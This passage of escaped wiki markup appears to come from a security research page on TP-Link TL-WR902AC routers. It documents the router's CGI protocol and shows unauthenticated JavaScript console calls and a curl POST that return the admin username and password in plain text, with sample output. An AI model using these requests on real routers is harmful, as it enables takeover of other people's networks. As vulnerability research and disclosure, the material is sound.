	# var ee=&amp;quot;010001&amp;quot;;&lt;br /&gt;
	# var nn=&amp;quot;BF52337CDDC3F46ADE7663765F170AB464AE93BF981B02B95FCE1E94&amp;quot; +&lt;br /&gt;
	#        &amp;quot;62DD9A03ED3E09CCEFDFD7FACE81EE38136FC081735686FE630BBADB&amp;quot; +&lt;br /&gt;
	#        &amp;quot;DAB24BE0443A2B25&amp;quot;;&lt;br /&gt;
	# var seq=&amp;quot;812508797&amp;quot;;&lt;br /&gt;
	# $.ret=0;&lt;br /&gt;
	# [error]0&lt;br /&gt;
&lt;br /&gt;
$.nn = nn;&lt;br /&gt;
$.ee = ee;&lt;br /&gt;
$.seq = seq;&lt;br /&gt;
&lt;br /&gt;
$.Iencryptor.setSeq($.seq);&lt;br /&gt;
$.Iencryptor.setRSAKey($.nn, $.ee);&lt;br /&gt;
$.Iencryptor.setHash(userName, password);&lt;br /&gt;
$.Iencryptor.genAESKey();&lt;br /&gt;
&lt;br /&gt;
var credentials = {};&lt;br /&gt;
credentials.username = &amp;quot;admin&amp;quot;; //$.id(&amp;quot;pcPassword&amp;quot;).value;&lt;br /&gt;
credentials.password = &amp;quot;admin&amp;quot;; //$.id(&amp;quot;userName&amp;quot;).value; &lt;br /&gt;
&lt;br /&gt;
$.act(ACT_CGI, &amp;quot;/cgi/login&amp;quot;, null, null, credentials);&lt;br /&gt;
&lt;br /&gt;
$.newencryptorManager.recordEncryptor();&lt;br /&gt;
&lt;br /&gt;
if(!$.exe(null, false, 1)) {&lt;br /&gt;
	window.location.reload();&lt;br /&gt;
}	&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Using unauthenticated CGI calls&amp;lt;/h4&amp;gt; &lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;As if that wasn&#039;t enough, it is even possible to retrieve the Admin Credentials in plain text. This is possible without authentication and can be done at any time. All that is needed is a call to the corresponding [[#Common Gateway Interface|Common Gateway Interface]] (CGI) object via JavaScript injection.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Get All User Information&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;$.act(ACT_GET, USER_CFG); $.act(ACT_GET, CURRENT_USER); $.exe();&lt;br /&gt;
&lt;br /&gt;
	[0,0,0,0,0,0]0&lt;br /&gt;
	rootName=&lt;br /&gt;
	rootPwd=&lt;br /&gt;
	adminName=admin&lt;br /&gt;
	adminPwd=admin&lt;br /&gt;
	userName=&lt;br /&gt;
	userPwd=&lt;br /&gt;
&lt;br /&gt;
	[0,0,0,0,0,0]1&lt;br /&gt;
	userName=&lt;br /&gt;
	passwd=&lt;br /&gt;
	httpSession=&lt;br /&gt;
	userSetting=0&lt;br /&gt;
	action=0&lt;br /&gt;
	loginStatus=0&lt;br /&gt;
	userRole=3&lt;br /&gt;
	logInCloud=0&lt;br /&gt;
	needReconn=0&lt;br /&gt;
	[error]0&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Get admin username and password&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;&lt;br /&gt;
$.act(ACT_GET, USER_CFG, null, null, [&amp;quot;adminName&amp;quot;, &amp;quot;adminPwd&amp;quot;]); $.exe();&lt;br /&gt;
// Or, by using cURL for once&lt;br /&gt;
// curl -X POST &amp;quot;http://192.168.1.1/cgi?1&amp;quot; -H &amp;quot;Referer: http://192.168.1.1&amp;quot; -d $&#039;[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\nadminName\r\nadminPwd\r\n&#039;&lt;br /&gt;
&lt;br /&gt;
	[0,0,0,0,0,0]0&lt;br /&gt;
	adminName=admin&lt;br /&gt;
	adminPwd=admin&lt;br /&gt;
	[error]0&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Common Gateway Interface&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;The devices examined here use a CGI over http on port 80, which are evaluated by the TP-Link https daemon. The mobile app uses SSH over port 22 instead. When working with the CGI it is of great use to use the predefined functions &amp;lt;code&amp;gt;$.act()&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;$.exe()&amp;lt;/code&amp;gt; via the browser console. These functions are part of the &amp;lt;code&amp;gt;lib.js&amp;lt;/code&amp;gt; and then take care of converting the request into a format that is accepted by the server, and subsequently submit the request via AJAX using the &amp;lt;code&amp;gt;$.io()&amp;lt;/code&amp;gt; function. Using these functions is much more convenient, than imitating the format itself. The &amp;lt;code&amp;gt;$.act(type, oid, stack, pStack, attrs)&amp;lt;/code&amp;gt; function has 2 mandatory fields. The &amp;lt;code&amp;gt;type&amp;lt;/code&amp;gt; of the request and an object identifier (&amp;lt;code&amp;gt;oid&amp;lt;/code&amp;gt;). Several requests can be pushed to the stack using &amp;lt;code&amp;gt;$.act()&amp;lt;/code&amp;gt; and then be queried together in one request using &amp;lt;code&amp;gt;$.exe()&amp;lt;/code&amp;gt;. The &amp;lt;code&amp;gt;type&amp;lt;/code&amp;gt; is added to the URL (&amp;lt;code&amp;gt;/cgi?1&amp;amp;2&amp;amp;3&amp;lt;/code&amp;gt;) as a numeric GET parameter. The &amp;lt;code&amp;gt;oid&amp;lt;/code&amp;gt; is added as a string in a parameter, in the form &amp;lt;code&amp;gt;[oid,0,0,0,0]0,0&amp;lt;/code&amp;gt;, to the payload. The remaining fields are not explained in detail. If attributes (&amp;lt;code&amp;gt;attr&amp;lt;/code&amp;gt;) are also sent, they are appended after the parameter of the payload. Several attributes will be transferred according to the number of added &amp;lt;code&amp;gt;type&amp;lt;/code&amp;gt;. A list of available types and OIDs and a shortened form of the &amp;lt;code&amp;gt;lib.js&amp;lt;/code&amp;gt; is listed below in the Client-side CGI Insights tab. When analyzing the website, countless examples of using the mentioned functions can be found. Anyhow, the &amp;lt;code&amp;gt;lib.js&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;oid_str.js&amp;lt;/code&amp;gt; are of great interest.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Example Format&lt;br /&gt;
URL: http://192.168.1.1/cgi?5&amp;amp;1&amp;amp;1&lt;br /&gt;
Payload:&lt;br /&gt;
   [oid,0,0,0,0,0,0]0,0&lt;br /&gt;
   [oid,0,0,0,0,0,0,0]0,count(attr)&lt;br /&gt;
   attr[1]&lt;br /&gt;
   attr[2]&lt;br /&gt;
   attr[3]&lt;br /&gt;
   [USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0,0]0,2&lt;br /&gt;
   adminName&lt;br /&gt;
   adminPwd&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: If not using a modified $.io() function logging results to the console or similar, the responses must be found in the browsers network tab or Wireshark, depending on the setup.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Client-side CGI Insights&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR902AC FW170828&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 13px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Strongly Reduced version of the lib.js, showing the $.cgi, $.act and $.exe methods.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;# lib_modified.js&lt;br /&gt;
(function(){&lt;br /&gt;
var window = this,&lt;br /&gt;
	&lt;br /&gt;
	window.$ = {&lt;br /&gt;
&lt;br /&gt;
		cgi: function(path, arg, hook, noquit, unerr) {&lt;br /&gt;
			var expr = /(^|\/)(\w+)\.htm$/;&lt;br /&gt;
			if ($.local || $.sim) path = $.params;&lt;br /&gt;
			else path = (path ? path : $.curPage.replace(/\.htm$/, &amp;quot;.cgi&amp;quot;)) + (arg ? &amp;quot;?&amp;quot; + $.toStr(arg, &amp;quot;=&amp;quot;, &amp;quot;&amp;amp;&amp;quot;) : &amp;quot;&amp;quot;);&lt;br /&gt;
			$.ret = 0;&lt;br /&gt;
			var func = hook ? function(ret) {if (!ret &amp;amp;&amp;amp; (ret = $.ret)) $.err(&amp;quot;cgi&amp;quot;, $.ret, unerr); if (typeof hook === &amp;quot;function&amp;quot;) hook(ret);} : null;&lt;br /&gt;
			var ret =  $.io(path, true, func, null, noquit, unerr);&lt;br /&gt;
			&lt;br /&gt;
			if (!ret &amp;amp;&amp;amp; (ret = $.ret))&lt;br /&gt;
				$.err(&amp;quot;cgi&amp;quot;, $.ret, unerr);&lt;br /&gt;
			return ret;&lt;br /&gt;
		},&lt;br /&gt;
&lt;br /&gt;
		act: function(type, oid, stack, pStack, attrs) {&lt;br /&gt;
&lt;br /&gt;
			stack = stack ? stack : &amp;quot;0,0,0,0,0,0&amp;quot;;&lt;br /&gt;
			pStack = pStack ? pStack : &amp;quot;0,0,0,0,0,0&amp;quot;;&lt;br /&gt;
			attrs = $.toStr(attrs, &amp;quot;=&amp;quot;, &amp;quot;\r\n&amp;quot;, true);&lt;br /&gt;
			attrs = attrs.replace(/__stack=[0-9,]*\r\n/, &amp;quot;&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
			var ret = null;&lt;br /&gt;
&lt;br /&gt;
			switch (type) {&lt;br /&gt;
				case ACT_ADD:		&lt;br /&gt;
					if ($.cn) attrs = $.ansi(attrs);&lt;br /&gt;
				case ACT_GET:		&lt;br /&gt;
					ret = {};&lt;br /&gt;
					break;&lt;br /&gt;
				case ACT_GL:		&lt;br /&gt;
				case ACT_GS:		&lt;br /&gt;
					ret = [];&lt;br /&gt;
					break;&lt;br /&gt;
				case ACT_SET:		&lt;br /&gt;
				case ACT_CGI:&lt;br /&gt;
					oid = oid ? oid : $.curPage.replace(/\.htm$/, &amp;quot;.cgi&amp;quot;);&lt;br /&gt;
					if ($.cn) attrs = $.ansi(attrs);&lt;br /&gt;
				case ACT_DEL:		&lt;br /&gt;
				case ACT_OP:&lt;br /&gt;
					break;&lt;br /&gt;
				default: &lt;br /&gt;
					return false;&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
			$.as.push([type, null, oid, stack, pStack, attrs, attrs ? attrs.match(/\r\n/g).length : 0]);&lt;br /&gt;
			$.ds.push(ret);&lt;br /&gt;
			&lt;br /&gt;
			return ret;&lt;br /&gt;
		},&lt;br /&gt;
		&lt;br /&gt;
		exe: function(hook, unerr) {&lt;br /&gt;
&lt;br /&gt;
			var url = &amp;quot;/cgi?&amp;quot;;&lt;br /&gt;
			var data = &amp;quot;&amp;quot;;&lt;br /&gt;
			var index = 0;&lt;br /&gt;
			var obj;&lt;br /&gt;
			var bAnsi = false;&lt;br /&gt;
			&lt;br /&gt;
			if ($.as.length == 0 || $.local || $.sim) {&lt;br /&gt;
				if (hook &amp;amp;&amp;amp; typeof hook === &amp;quot;function&amp;quot;) $.timeout(hook, 200);&lt;br /&gt;
				while($.as.pop() !== undefined);&lt;br /&gt;
				while($.ds.pop() !== undefined);&lt;br /&gt;
				return 0;&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			$.empty($.id(&amp;quot;ansiform&amp;quot;));&lt;br /&gt;
			while ($.ansiarg.length) {&lt;br /&gt;
				obj = $.ansiarg.shift();&lt;br /&gt;
				$.append($.id(&amp;quot;ansiform&amp;quot;), &amp;quot;&amp;lt;input type=&#039;hidden&#039; name=&#039;&amp;quot;+obj[0]+&amp;quot;&#039; value=&#039;&amp;quot;+obj[1].replace(/\&amp;amp;/g, &amp;quot;&amp;amp;amp;&amp;quot;).replace(/&amp;lt;/g, &amp;quot;&amp;amp;lt;&amp;quot;).replace(/&#039;/g, &amp;quot;&amp;amp;apos;&amp;quot;)+&amp;quot;&#039; /&amp;gt;&amp;quot;);&lt;br /&gt;
				bAnsi = true;&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			while(obj = $.as.shift()){&lt;br /&gt;
				url += obj[0] + (obj[1] ? &amp;quot;=&amp;quot; + obj[1] : &amp;quot;&amp;quot;) + &amp;quot;&amp;amp;&amp;quot;;&lt;br /&gt;
				data += &amp;quot;[&amp;quot; + obj[2] + &amp;quot;#&amp;quot; + obj[3] + &amp;quot;#&amp;quot; + obj[4] + &amp;quot;]&amp;quot; + index + &amp;quot;, &amp;quot; + obj[6] + &amp;quot;\r\n&amp;quot; + obj[5];&lt;br /&gt;
				index++;&lt;br /&gt;
			}			&lt;br /&gt;
			url = url.substr(0, url.length - 1);&lt;br /&gt;
			&lt;br /&gt;
			if (hook) {&lt;br /&gt;
				var tmpds = $.mkArr($.ds);&lt;br /&gt;
				while($.ds.length) $.ds.pop();	&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			var resolve = function(ret, ds) {&lt;br /&gt;
				if (typeof ret !== &amp;quot;number&amp;quot;) {&lt;br /&gt;
					var lines = ret.split(&#039;\n&#039;);&lt;br /&gt;
					ret = 0;&lt;br /&gt;
					$.ret = 0;&lt;br /&gt;
					var scripts = &amp;quot;&amp;quot;;&lt;br /&gt;
					&lt;br /&gt;
					for (var i = 0, l = lines.length; i &amp;lt; l; i++) {&lt;br /&gt;
						if (lines[i] == &amp;quot;&amp;quot;) continue;&lt;br /&gt;
						if (lines[i].charAt(0) == &amp;quot;[&amp;quot;) {&lt;br /&gt;
							if (scripts != &amp;quot;&amp;quot;) {&lt;br /&gt;
								$.script(scripts);&lt;br /&gt;
								if ($.ret) {&lt;br /&gt;
									ret = $.ret;&lt;br /&gt;
									$.err(&amp;quot;cgi&amp;quot;, ret, unerr);&lt;br /&gt;
									break;&lt;br /&gt;
								}&lt;br /&gt;
								scripts = &amp;quot;&amp;quot;;&lt;br /&gt;
							}&lt;br /&gt;
							var n = lines[i].indexOf(&amp;quot;]&amp;quot;);&lt;br /&gt;
							var j = parseInt(lines[i].substr(n+1), 10);&lt;br /&gt;
							var stack = lines[i].substr(1, n-1);&lt;br /&gt;
							var instance;&lt;br /&gt;
							if (stack == &amp;quot;error&amp;quot;) {&lt;br /&gt;
								if (j) {&lt;br /&gt;
									ret = j;&lt;br /&gt;
									if (ret != ERR_HTTP_ERR_CGI_INVALID_ANSI) $.err(&amp;quot;exe&amp;quot;, ret, unerr);&lt;br /&gt;
									break;&lt;br /&gt;
								}&lt;br /&gt;
							}&lt;br /&gt;
							else if (ds[j] instanceof Array) {&lt;br /&gt;
								instance = {__stack: stack};&lt;br /&gt;
								ds[j].push(instance);&lt;br /&gt;
							}&lt;br /&gt;
							else if (ds[j] != null) {&lt;br /&gt;
								instance  = ds[j];&lt;br /&gt;
								instance.__stack = stack;&lt;br /&gt;
							}&lt;br /&gt;
						}&lt;br /&gt;
						else {&lt;br /&gt;
							if (stack == &amp;quot;cgi&amp;quot;) {&lt;br /&gt;
								scripts += lines[i] + &#039;\n&#039;;&lt;br /&gt;
							}&lt;br /&gt;
							else {&lt;br /&gt;
								var attr = lines[i].split(&amp;quot;=&amp;quot;);&lt;br /&gt;
								instance[attr[0]] = attr.slice(1).join(&#039;=&#039;);&lt;br /&gt;
							}&lt;br /&gt;
						}&lt;br /&gt;
					}&lt;br /&gt;
				}&lt;br /&gt;
				while(ds.length) ds.pop();&lt;br /&gt;
				return ret;&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			if (bAnsi) {&lt;br /&gt;
				var formObj = $.d.forms[0];	&lt;br /&gt;
				try {&lt;br /&gt;
					formObj.target = &amp;quot;up_frame&amp;quot;;&lt;br /&gt;
					formObj.action = &amp;quot;/cgi/ansi&amp;quot;;&lt;br /&gt;
					formObj.submit();&lt;br /&gt;
				}catch(e){}&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			if (hook) {&lt;br /&gt;
				var resolve2 = function(){&lt;br /&gt;
					$.io(url, false, function(ret){ &lt;br /&gt;
						ret = resolve(ret, tmpds); &lt;br /&gt;
						if (typeof hook === &amp;quot;function&amp;quot;) hook(ret);&lt;br /&gt;
					}, data, false, unerr)&lt;br /&gt;
				};&lt;br /&gt;
				if (bAnsi) $.timeout(resolve2, 100);&lt;br /&gt;
				else resolve2();&lt;br /&gt;
				return 0;&lt;br /&gt;
			}&lt;br /&gt;
			else {&lt;br /&gt;
				while(ret = $.io(url, false, null, data, false, unerr)) {&lt;br /&gt;
					ret = resolve(ret, $.ds);&lt;br /&gt;
					if (ret != ERR_HTTP_ERR_CGI_INVALID_ANSI) return ret;&lt;br /&gt;
					count++;&lt;br /&gt;
					if (count &amp;gt; 3) return $.err(&amp;quot;exe&amp;quot;, ERR_HTTP_ERR_CGI_INVALID_ANSI, unerr);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	};&lt;br /&gt;
})();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; CGI parameters extracted from lib.js and oid_str.js&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Type&lt;br /&gt;
var ACT_GET = 1;	//----&lt;br /&gt;
var ACT_SET = 2;	//----&lt;br /&gt;
var ACT_ADD = 3;&lt;br /&gt;
var ACT_DEL = 4;&lt;br /&gt;
var ACT_GL  = 5;&lt;br /&gt;
var ACT_GS  = 6;&lt;br /&gt;
var ACT_OP  = 7;	//----&lt;br /&gt;
var ACT_CGI = 8;	//----&lt;br /&gt;
&lt;br /&gt;
// Operations&lt;br /&gt;
var ACT_OP_REBOOT 				= &amp;quot;ACT_REBOOT&amp;quot;;				//----&lt;br /&gt;
var ACT_OP_FACTORY_RESET 		= &amp;quot;ACT_FACTORY_RESET&amp;quot;;		//----&lt;br /&gt;
var ACT_OP_DHCP_RENEW 			= &amp;quot;ACT_DHCP_RENEW&amp;quot;;&lt;br /&gt;
var ACT_OP_DHCP_RELEASE 		= &amp;quot;ACT_DHCP_RELEASE&amp;quot;;&lt;br /&gt;
var ACT_OP_PPP_CONN 			= &amp;quot;ACT_PPP_CONN&amp;quot;;&lt;br /&gt;
var ACT_OP_PPP_DISCONN 			= &amp;quot;ACT_PPP_DISCONN&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_GET_NEW_PIN 	= &amp;quot;ACT_WLAN_GET_NEW_PIN&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_RESTORE_PIN 	= &amp;quot;ACT_WLAN_RESTORE_PIN&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_UPDATE_ASSOC 	= &amp;quot;ACT_WLAN_UPDATE_ASSOC&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_WPS_PBC 		= &amp;quot;ACT_WLAN_WPS_PBC&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_WPS_PIN 		= &amp;quot;ACT_WLAN_WPS_PIN&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_SCAN 			= &amp;quot;ACT_WLAN_SCAN&amp;quot;;&lt;br /&gt;
var ACT_OP_NTP_REQUEST 			= &amp;quot;ACT_NTP_REQUEST&amp;quot;;&lt;br /&gt;
var ACT_OP_DLNA_MANUAL_SCAN 	= &amp;quot;ACT_DLNA_MANUAL_SCAN&amp;quot;;&lt;br /&gt;
var ACT_OP_L2TP_CONN 			= &amp;quot;ACT_L2TP_CONN&amp;quot;;&lt;br /&gt;
var ACT_OP_L2TP_DISCONN 		= &amp;quot;ACT_L2TP_DISCONN&amp;quot;;&lt;br /&gt;
var ACT_OP_PPTP_CONN 			= &amp;quot;ACT_PPTP_CONN&amp;quot;;&lt;br /&gt;
var ACT_OP_PPTP_DISCONN 		= &amp;quot;ACT_PPTP_DISCONN&amp;quot;;&lt;br /&gt;
var ACT_OP_WAN_TYPE_DETECT 		= &amp;quot;ACT_WAN_TYPE_DETECT&amp;quot;;&lt;br /&gt;
var ACT_OP_BPA_CONN 			= &amp;quot;ACT_BPA_CONN&amp;quot;;&lt;br /&gt;
var ACT_OP_BPA_DISCONN 			= &amp;quot;ACT_BPA_DISCONN&amp;quot;;&lt;br /&gt;
var ACT_OP_IPPING 				= &amp;quot;ACT_OP_IPPING&amp;quot;;&lt;br /&gt;
var ACT_OP_TRACERT 				= &amp;quot;ACT_OP_TRACERT&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
// Object Identifier&lt;br /&gt;
var IGD = &amp;quot;IGD&amp;quot;&lt;br /&gt;
var IGD_DEV_INFO = &amp;quot;IGD_DEV_INFO&amp;quot;									//----&lt;br /&gt;
var SYSLOG_CFG = &amp;quot;SYSLOG_CFG&amp;quot;&lt;br /&gt;
var MANAGEMENT_SERVER = &amp;quot;MANAGEMENT_SERVER&amp;quot;&lt;br /&gt;
var ETH_SWITCH = &amp;quot;ETH_SWITCH&amp;quot;&lt;br /&gt;
var SYS_CFG = &amp;quot;SYS_CFG&amp;quot;&lt;br /&gt;
var NET_CFG = &amp;quot;NET_CFG&amp;quot;&lt;br /&gt;
var USER_CFG = &amp;quot;USER_CFG&amp;quot;											//----&lt;br /&gt;
var CURRENT_USER = &amp;quot;CURRENT_USER&amp;quot;&lt;br /&gt;
var APP_CFG = &amp;quot;APP_CFG&amp;quot;&lt;br /&gt;
var HTTP_CFG = &amp;quot;HTTP_CFG&amp;quot;&lt;br /&gt;
var PH_DDNS_CFG = &amp;quot;PH_DDNS_CFG&amp;quot;&lt;br /&gt;
var PH_RT_DATA = &amp;quot;PH_RT_DATA&amp;quot;&lt;br /&gt;
var DYN_DNS_CFG = &amp;quot;DYN_DNS_CFG&amp;quot;&lt;br /&gt;
var UPNP_CFG = &amp;quot;UPNP_CFG&amp;quot;&lt;br /&gt;
var UPNP_PORTMAPPING = &amp;quot;UPNP_PORTMAPPING&amp;quot;&lt;br /&gt;
var DIAG_TOOL = &amp;quot;DIAG_TOOL&amp;quot;&lt;br /&gt;
var CWMP_CFG = &amp;quot;CWMP_CFG&amp;quot;&lt;br /&gt;
var SNMP_CFG = &amp;quot;SNMP_CFG&amp;quot;&lt;br /&gt;
var NOIP_DNS_CFG = &amp;quot;NOIP_DNS_CFG&amp;quot;&lt;br /&gt;
var CMX_DNS_CFG = &amp;quot;CMX_DNS_CFG&amp;quot;&lt;br /&gt;
var ACL_CFG = &amp;quot;ACL_CFG&amp;quot;&lt;br /&gt;
var WAN_TYPE_DETECT = &amp;quot;WAN_TYPE_DETECT&amp;quot;&lt;br /&gt;
var DMZ_HOST_CFG = &amp;quot;DMZ_HOST_CFG&amp;quot;&lt;br /&gt;
var TIME = &amp;quot;TIME&amp;quot;&lt;br /&gt;
var HOUR = &amp;quot;HOUR&amp;quot;&lt;br /&gt;
var L3_FORWARDING = &amp;quot;L3_FORWARDING&amp;quot;&lt;br /&gt;
var L3_FORWARDING_ENTRY = &amp;quot;L3_FORWARDING_ENTRY&amp;quot;&lt;br /&gt;
var L3_IP6_FORWARDING = &amp;quot;L3_IP6_FORWARDING&amp;quot;&lt;br /&gt;
var L3_IP6_FORWARDING_ENTRY = &amp;quot;L3_IP6_FORWARDING_ENTRY&amp;quot;&lt;br /&gt;
var L2_BRIDGING = &amp;quot;L2_BRIDGING&amp;quot;&lt;br /&gt;
var L2_BRIDGING_ENTRY = &amp;quot;L2_BRIDGING_ENTRY&amp;quot;&lt;br /&gt;
var L2_BRIDGING_FILTER = &amp;quot;L2_BRIDGING_FILTER&amp;quot;&lt;br /&gt;
var L2_BRIDGING_INTF = &amp;quot;L2_BRIDGING_INTF&amp;quot;&lt;br /&gt;
var LAN_DEV = &amp;quot;LAN_DEV&amp;quot;&lt;br /&gt;
var LAN_HOST_CFG = &amp;quot;LAN_HOST_CFG&amp;quot;&lt;br /&gt;
var LAN_IP_INTF = &amp;quot;LAN_IP_INTF&amp;quot;&lt;br /&gt;
var LAN_DHCP_STATIC_ADDR = &amp;quot;LAN_DHCP_STATIC_ADDR&amp;quot;&lt;br /&gt;
var LAN_DHCP_COND_SRV_POOL = &amp;quot;LAN_DHCP_COND_SRV_POOL&amp;quot;&lt;br /&gt;
var LAN_DHCP_COND_SRV_POOL_OPT = &amp;quot;LAN_DHCP_COND_SRV_POOL_OPT&amp;quot;&lt;br /&gt;
var YANDEX_DNS_POOL = &amp;quot;YANDEX_DNS_POOL&amp;quot;&lt;br /&gt;
var LAN_IP6_HOST_CFG = &amp;quot;LAN_IP6_HOST_CFG&amp;quot;&lt;br /&gt;
var LAN_IP6_INTF = &amp;quot;LAN_IP6_INTF&amp;quot;&lt;br /&gt;
var LAN_ETH_INTF = &amp;quot;LAN_ETH_INTF&amp;quot;&lt;br /&gt;
var LAN_HOSTS = &amp;quot;LAN_HOSTS&amp;quot;&lt;br /&gt;
var LAN_HOST_ENTRY = &amp;quot;LAN_HOST_ENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN = &amp;quot;LAN_WLAN&amp;quot;&lt;br /&gt;
var LAN_WLAN_WPS = &amp;quot;LAN_WLAN_WPS&amp;quot;&lt;br /&gt;
var LAN_WLAN_MACTABLEENTRY = &amp;quot;LAN_WLAN_MACTABLEENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN_ASSOC_DEV = &amp;quot;LAN_WLAN_ASSOC_DEV&amp;quot;&lt;br /&gt;
var LAN_WLAN_BSSDESC_ENTRY = &amp;quot;LAN_WLAN_BSSDESC_ENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN_WEPKEY = &amp;quot;LAN_WLAN_WEPKEY&amp;quot;&lt;br /&gt;
var LAN_WLAN_WDSBRIDGE = &amp;quot;LAN_WLAN_WDSBRIDGE&amp;quot;&lt;br /&gt;
var LAN_WLAN_MULTISSID = &amp;quot;LAN_WLAN_MULTISSID&amp;quot;&lt;br /&gt;
var LAN_WLAN_MSSIDENTRY = &amp;quot;LAN_WLAN_MSSIDENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN_MSSIDWEPKEY = &amp;quot;LAN_WLAN_MSSIDWEPKEY&amp;quot;&lt;br /&gt;
var MSSID_MACTABLEENTRY = &amp;quot;MSSID_MACTABLEENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN_WLBRNAME = &amp;quot;LAN_WLAN_WLBRNAME&amp;quot;&lt;br /&gt;
